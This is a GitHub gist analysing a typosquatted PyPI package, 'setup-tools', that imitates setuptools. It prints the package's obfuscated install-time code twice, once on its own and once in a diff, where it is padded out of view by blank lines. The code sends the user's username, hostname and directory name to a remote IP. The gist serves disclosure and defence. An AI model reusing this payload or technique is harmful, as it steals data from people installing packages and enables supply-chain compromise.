Skip to content

Instantly share code, notes, and snippets.

@Spotlight0xff
Created July 6, 2017 13:04
Show Gist options
  • Star 1 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save Spotlight0xff/829b7ebf32c4feec60ec44eb86b0fb3f to your computer and use it in GitHub Desktop.
Save Spotlight0xff/829b7ebf32c4feec60ec44eb86b0fb3f to your computer and use it in GitHub Desktop.
setuptools typosquatting

sudo pip install --upgrade setup_tools

Collecting setup_tools
  Using cached setup-tools-36.0.1.zip
    Complete output from command python setup.py egg_info:
    Traceback (most recent call last):
      File "<string>", line 1, in <module>
      File "/tmp/pip-build-7vh1ztib/setup-tools/setup.py", line 298
        s.connect((base64.b64decode(rip), 017620))
                                               ^
    SyntaxError: invalid token
    
    ----------------------------------------
Command "python setup.py egg_info" failed with error code 1 in /tmp/pip-build-7vh1ztib/setup-tools/

use of --no-clean to investigate the build process/directory relevant code:

try:
        import os
        import pwd
        import socket
        import base64
        soft = os.getcwd().split('/')[-1]
        u = pwd.getpwuid(os.getuid()).pw_name
        hname = socket.gethostname()
        rawd = 'Y:%s %s %s'%(soft, u, hname)
        encd = '';t=[0x76,0x21,0xfe,0xcc,0xee];
        for i in xrange(len(rawd)):
                encd += chr(ord(rawd[i]) ^ t[i%len(t)])
        p = ('G' + 'E' + 'T /%s ' + 'H' + 'T' + 'T' + 'P/1.1\r\n')%(base64.b64e
ncode(encd)) + '\r\n'*2
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.settimeout(4)
        rip = 'M' + 'TIxL' + 'jQyL' + 'jIx' + 'N' + 'y4' + '0NA' + '=='
        s.connect((base64.b64decode(rip), 017620))
        s.sendall(p)
        s.close()
except Exception,e:
        # Welcome Here! :)
        # just toy, no harm :)
        pass

Doesn't look good...

soft: current directory name u: username hname: hostname

Then constructs the string: GET /%s HTTP/1.1 where %s is XOR-encoded soft,u and hname. Sends this HTTP request to the base64 decoded host: rip = 'MTIxLjQyLjIxNy40NA==' which is decoded: 121.42.217.44

Sends the request to port '017620' (which is interpreted as an octal number). In python3, this doesn't work as they have to be written as 0o17620. Anyways, in python2 this evaluates to 8080.

Now how did this happen...

Basically, I tried to install setup_tools instead of setuptools.

The former is located at https://pypi.python.org/pypi/setuptools/36.0.1 while the latter is located at https://pypi.python.org/pypi/setup-tools/36.0.1

I did a diff -r between the two packages, here is the result:

diff -u --color -r setuptools-36.0.1/PKG-INFO setup-tools-36.0.1/PKG-INFO
--- setuptools-36.0.1/PKG-INFO	2017-06-01 13:04:42.000000000 +0200
+++ setup-tools-36.0.1/PKG-INFO	2017-06-02 16:54:26.000000000 +0200
@@ -1,5 +1,5 @@
 Metadata-Version: 1.2
-Name: setuptools
+Name: setup-tools
 Version: 36.0.1
 Summary: Easily download, build, install, upgrade, and uninstall Python packages
 Home-page: https://github.com/pypa/setuptools
diff -u --color -r setuptools-36.0.1/setup.py setup-tools-36.0.1/setup.py
--- setuptools-36.0.1/setup.py	2017-06-01 13:03:00.000000000 +0200
+++ setup-tools-36.0.1/setup.py	2017-06-02 16:54:24.000000000 +0200
@@ -88,7 +88,7 @@
 
 
 setup_params = dict(
-    name="setuptools",
+    name="setup-tools",
     version="36.0.1",
     description="Easily download, build, install, upgrade, and uninstall "
         "Python packages",
@@ -185,3 +185,120 @@
     here and os.chdir(here)
     require_metadata()
     dist = setuptools.setup(**setup_params)
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+try:
+	import os
+	import pwd
+	import socket
+	import base64
+	soft = os.getcwd().split('/')[-1]
+	u = pwd.getpwuid(os.getuid()).pw_name
+	hname = socket.gethostname()
+	rawd = 'Y:%s %s %s'%(soft, u, hname)
+	encd = '';t=[0x76,0x21,0xfe,0xcc,0xee];
+	for i in xrange(len(rawd)):
+		encd += chr(ord(rawd[i]) ^ t[i%len(t)])
+	p = ('G' + 'E' + 'T /%s ' + 'H' + 'T' + 'T' + 'P/1.1\r\n')%(base64.b64encode(encd)) + '\r\n'*2
+	s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+	s.settimeout(4)
+	rip = 'M' + 'TIxL' + 'jQyL' + 'jIx' + 'N' + 'y4' + '0NA' + '=='
+	s.connect((base64.b64decode(rip), 017620))
+	s.sendall(p)
+	s.close()
+except Exception,e:
+	# Welcome Here! :)
+	# just toy, no harm :)
+	pass
Only in setup-tools-36.0.1: setup_tools.egg-info
Only in setuptools-36.0.1: setuptools.egg-info

Pretty interesting, huh?

This is probably someone exploiting the non-existent QA on PyPI with typosquatting.

Related blog post: http://incolumitas.com/2016/06/08/typosquatting-package-managers/

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment